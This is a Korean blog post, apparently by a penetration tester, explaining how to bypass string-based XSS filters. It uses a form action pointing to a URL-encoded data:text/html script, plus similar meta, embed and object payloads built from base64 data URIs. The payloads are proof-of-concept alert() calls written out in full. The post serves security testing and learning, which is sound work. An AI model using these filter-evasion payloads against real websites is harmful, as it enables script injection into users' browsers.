Form action + data:를 이용한 XSS Filtering 우회 기법

XSS 테스트 시 재미난걸 하나 찾은겸 블로그에 정리할까 합니다. 먼저 테스트하던 구간은 여러가지 규칙이 있었습니다. 문자열 기번의 필터링으로 사용할 수 있는 태그가 한정되어있고, 이벤트 핸들러 또한 거의 전부 필터링되었죠. 그리고.. 결정적으로 base, java , script 등 문자열 필터링으로 우회 구문 작성하는데 좀 귀찮았습니다.

오늘의 Bypass 트릭은 <form> 태그와 data:text/html , URL Encoding 의 조합입니다.

Form action + data:

먼저 form 태그는 action에 담긴 주소로 요청 발송합니다. 그래서.. action에 javascript:alert(45) 와 같은 형태로 구문이 들어갈 시 그대로 호출하게 되며 스크립트가 실행되죠. java, script 등 문자열에 대한 필터링이 적용되어 있고 좀 껄끄러운 형태로 되어 있어서 필터링 되지 않는 문자를 이용해보려 생각하던 중 data: 를 이용한 구문들이 생각났습니다. 대체로 object, iframe 등 태그에 사용되나 form 에도 가능하지 않을까라는 의문에서 시작하였고, 예상대로 form을 이용하여 XSS 구문 성립이 가능하였죠.

<form action=data:text/html;charset=utf-8,%3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%34%35%29%3c%2f%73%63%72%69%70%74%3e>
<input type=submit>
</form>

아주 심플하죠. base 문자열도 필터링되어서 url 인코딩을 하여 필터링 규칙을 벗어나고, <form> action으로 호출되지 때문에 브라우저에서 열릴 때 URL Deocde 되는걸 이용하면 인코딩된 문자열의 해제로 스크립트가 동작하게 됩니다.

Similar case

meta tag

<meta HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCg0NSk8L3NjcmlwdD4=">

embed tag

<embed SRC="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hsaW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxMCIgaGVpZ2h0PSIxMCIgaWQ9InhzcyI+PHNjcmlwdCB0eXBlPSJ0ZXh0L2VjbWFzY3JpcHQiPmFsZXJ0KDQ1KTs8L3NjcmlwdD48L3N2Zz4=" type="image/svg+xml" AllowScriptAccess="always">

object tag

<object data="data:application/x-shockwave-flash;base64,
RldTCSEAAABIAZAAZAAADAEARBEIAAAAQwIAAP9AAAAA"></object> 
 <!-- xss swf in Base64 data -->